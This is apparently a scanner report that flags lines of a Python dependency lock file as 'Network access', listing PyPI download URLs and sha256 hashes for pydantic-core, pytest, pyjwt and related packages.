{ url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c3176 - Network accessline 2142
{ url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca9748 - Network accessline 2143
{ url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702 - Network accessline 2144
{ url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b - Network accessline 2145
{ url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d22 - Network accessline 2146
{ url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e6 - Network accessline 2147
{ url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a - Network accessline 2148
{ url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbc - Network accessline 2149
{ url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099d - Network accessline 2150
{ url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a3 - Network accessline 2151
{ url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038 - Network accessline 2152
{ url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4 - Network accessline 2153
{ url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff6 - Network accessline 2154
{ url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e6201 - Network accessline 2155
{ url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e - Network accessline 2156
{ url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb - Network accessline 2157
{ url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e4 - Network accessline 2158
{ url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4 - Network accessline 2159
{ url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd - Network accessline 2160
{ url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8 - Network accessline 2161
{ url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7 - Network accessline 2162
{ url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b - Network accessline 2163
{ url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc - Network accessline 2164
{ url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8 - Network accessline 2165
{ url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b - Network accessline 2166
{ url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e3 - Network accessline 2167
{ url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef0 - Network accessline 2168
{ url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddb - Network accessline 2169
{ url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33 - Network accessline 2170
{ url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d41 - Network accessline 2171
{ url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3 - Network accessline 2172
{ url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad78 - Network accessline 2173
{ url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603 - Network accessline 2177
name = "pydantic-extra-types" version = "2.11.1" source = { registry = "https://pypi.org/simple" } - Network accessline 2178
version = "2.11.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2179
source = { registry = "https://pypi.org/simple" } - Network accessline 2182
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/66/71/dba38ee2651f84f7842206adbd2233d8bbdb59fb85e9fa14232486a8c471/pydantic_extra_types-2.11.1.tar.gz", hash = "sha256:46792d2307383859e923d8fcefa821 - Network accessline 2183
] sdist = { url = "https://files.pythonhosted.org/packages/66/71/dba38ee2651f84f7842206adbd2233d8bbdb59fb85e9fa14232486a8c471/pydantic_extra_types-2.11.1.tar.gz", hash = "sha256:46792d2307383859e923d8fcefa82108b1a141f8a9c0198982b3832ab5ef10 - Network accessline 2184
sdist = { url = "https://files.pythonhosted.org/packages/66/71/dba38ee2651f84f7842206adbd2233d8bbdb59fb85e9fa14232486a8c471/pydantic_extra_types-2.11.1.tar.gz", hash = "sha256:46792d2307383859e923d8fcefa82108b1a141f8a9c0198982b3832ab5ef1049 - Network accessline 2185
wheels = [ { url = "https://files.pythonhosted.org/packages/17/c1/3226e6d7f5a4f736f38ac11a6fbb262d701889802595cdb0f53a885ac2e0/pydantic_extra_types-2.11.1-py3-none-any.whl", hash = "sha256:1722ea2bddae5628ace25f2aa685b69978ef533123e5638 - Network accessline 2186
{ url = "https://files.pythonhosted.org/packages/17/c1/3226e6d7f5a4f736f38ac11a6fbb262d701889802595cdb0f53a885ac2e0/pydantic_extra_types-2.11.1-py3-none-any.whl", hash = "sha256:1722ea2bddae5628ace25f2aa685b69978ef533123e5638cfbddb999e0100e - Network accessline 2190
name = "pydantic-settings" version = "2.14.2" source = { registry = "https://pypi.org/simple" } - Network accessline 2191
version = "2.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2192
source = { registry = "https://pypi.org/simple" } - Network accessline 2196
{ name = "typing-inspection" }, ] sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a - Network accessline 2197
] sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f" - Network accessline 2198
sdist = { url = "https://files.pythonhosted.org/packages/5c/b5/8f48e906c3e0205276e8bd8cb7512217a87b2685304d64be27cad5b3019f/pydantic_settings-2.14.2.tar.gz", hash = "sha256:c19dd64b19097f1de80184f0cc7b0272a13ae6e170cbf240a3e27e381ed14a5f", - Network accessline 2199
wheels = [ { url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b738 - Network accessline 2200
{ url = "https://files.pythonhosted.org/packages/77/c1/6e422f34e569cf8e18df68d1939c81c099d2b61e4f7d9621c8a77560799c/pydantic_settings-2.14.2-py3-none-any.whl", hash = "sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440" - Network accessline 2204
name = "pygments" version = "2.20.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2205
version = "2.20.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd0 - Network accessline 2206
source = { registry = "https://pypi.org/simple" } - Network accessline 2207
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 49 - Network accessline 2208
wheels = [ { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946 - Network accessline 2209
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = - Network accessline 2213
name = "pyjwt" version = "2.15.1" source = { registry = "https://pypi.org/simple" } - Network accessline 2214
version = "2.15.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/43/ea/5194e52748b0da83d71e082d75496eaec6e58f419f5e184786ded517e6a9/pyjwt-2.15.1.tar.gz", hash = "sha256:4f259e80cd - Network accessline 2215
source = { registry = "https://pypi.org/simple" } - Network accessline 2216
sdist = { url = "https://files.pythonhosted.org/packages/43/ea/5194e52748b0da83d71e082d75496eaec6e58f419f5e184786ded517e6a9/pyjwt-2.15.1.tar.gz", hash = "sha256:4f259e80cdfb6b3fc18a7de51fd1ef9ec79652f25019bae68975ca2468a34df8", size = 12125 - Network accessline 2217
wheels = [ { url = "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", hash = "sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e1 - Network accessline 2218
{ url = "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", hash = "sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", size = 338 - Network accessline 2227
name = "pyparsing" version = "3.3.2" source = { registry = "https://pypi.org/simple" } - Network accessline 2228
version = "3.3.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d7 - Network accessline 2229
source = { registry = "https://pypi.org/simple" } - Network accessline 2230
sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc", size = 68 - Network accessline 2231
wheels = [ { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc6 - Network accessline 2232
{ url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = - Network accessline 2236
name = "pyproject-hooks" version = "1.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2237
version = "1.2.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e7/82/28175b2414effca1cdac8dc99f76d660e7a4fb0ceefa4b4ab8f5f6742925/pyproject_hooks-1.2.0.tar.gz", hash = "sha256:1e - Network accessline 2238
source = { registry = "https://pypi.org/simple" } - Network accessline 2239
sdist = { url = "https://files.pythonhosted.org/packages/e7/82/28175b2414effca1cdac8dc99f76d660e7a4fb0ceefa4b4ab8f5f6742925/pyproject_hooks-1.2.0.tar.gz", hash = "sha256:1e859bd5c40fae9448642dd871adf459e5e2084186e8d2c2a79a824c970da1f8", siz - Network accessline 2240
wheels = [ { url = "https://files.pythonhosted.org/packages/bd/24/12818598c362d7f300f18e74db45963dbcb85150324092410c8b49405e42/pyproject_hooks-1.2.0-py3-none-any.whl", hash = "sha256:9e5c6bfa8dcc30091c74b0cf803c81fdd29d94f01992a7707bc97 - Network accessline 2241
{ url = "https://files.pythonhosted.org/packages/bd/24/12818598c362d7f300f18e74db45963dbcb85150324092410c8b49405e42/pyproject_hooks-1.2.0-py3-none-any.whl", hash = "sha256:9e5c6bfa8dcc30091c74b0cf803c81fdd29d94f01992a7707bc97babb1141913", s - Network accessline 2245
name = "pytest" version = "9.0.3" source = { registry = "https://pypi.org/simple" } - Network accessline 2246
version = "9.0.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2247
source = { registry = "https://pypi.org/simple" } - Network accessline 2253
{ name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a4276 - Network accessline 2254
] sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 157 - Network accessline 2255
sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 15721 - Network accessline 2256
wheels = [ { url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5 - Network accessline 2257
{ url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", size = 375 - Network accessline 2261
name = "pytest-asyncio" version = "1.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2262
version = "1.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2263
source = { registry = "https://pypi.org/simple" } - Network accessline 2266
{ name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha - Network accessline 2267
] sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", si - Network accessline 2268
sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size - Network accessline 2269
wheels = [ { url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7 - Network accessline 2270
{ url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", si - Network accessline 2274
name = "pytest-cov" version = "7.1.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2275
version = "7.1.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2276
source = { registry = "https://pypi.org/simple" } - Network accessline 2280
{ name = "pytest" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b1/51/a849f96e117386044471c8ec2bd6cfebacda285da9525c9106aeb28da671/pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016 - Network accessline 2281
] sdist = { url = "https://files.pythonhosted.org/packages/b1/51/a849f96e117386044471c8ec2bd6cfebacda285da9525c9106aeb28da671/pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2", size = - Network accessline 2282
sdist = { url = "https://files.pythonhosted.org/packages/b1/51/a849f96e117386044471c8ec2bd6cfebacda285da9525c9106aeb28da671/pytest_cov-7.1.0.tar.gz", hash = "sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2", size = 5 - Network accessline 2283
wheels = [ { url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e - Network accessline 2284
{ url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678", size = - Network accessline 2288
name = "pytest-xdist" version = "3.8.0" source = { registry = "https://pypi.org/simple" } - Network accessline 2289
version = "3.8.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2290
source = { registry = "https://pypi.org/simple" } - Network accessline 2293
{ name = "pytest" }, ] sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90 - Network accessline 2294
] sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size - Network accessline 2295
sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = - Network accessline 2296
wheels = [ { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269f - Network accessline 2297
{ url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size - Network accessline 2301
name = "python-dateutil" version = "2.9.0.post0" source = { registry = "https://pypi.org/simple" } - Network accessline 2302
version = "2.9.0.post0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 2303
source = { registry = "https://pypi.org/simple" } - Network accessline 2305
{ name = "six" }, ] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90f - Network accessline 2306
] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0a - Network accessline 2307
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 - Network accessline 2308
wheels = [ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136df - Network accessline 2309
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7 - Network accessline 2313
name = "python-dotenv" version = "1.2.2" source = { registry = "https://pypi.org/simple" } - Network accessline 2314
version = "1.2.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c37 - Network accessline 2315
source = { registry = "https://pypi.org/simple" } - Network accessline 2316
sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size - Network accessline 2317
wheels = [ { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e69 - Network accessline 2318
{ url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", siz - Network accessline 2322
name = "python-multipart" version = "0.0.32" source = { registry = "https://pypi.org/simple" } - Network accessline 2323
version = "0.0.32" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/5b/42/55c32bb9b12693c092ad250a0e82edb5b31ddeda6eb772de5f308b3804ad/python_multipart-0.0.32.tar.gz", hash = "sha256 - Network accessline 2324
source = { registry = "https://pypi.org/simple" } - Network accessline 2325
sdist = { url = "https://files.pythonhosted.org/packages/5b/42/55c32bb9b12693c092ad250a0e82edb5b31ddeda6eb772de5f308b3804ad/python_multipart-0.0.32.tar.gz", hash = "sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e", s - Network accessline 2326
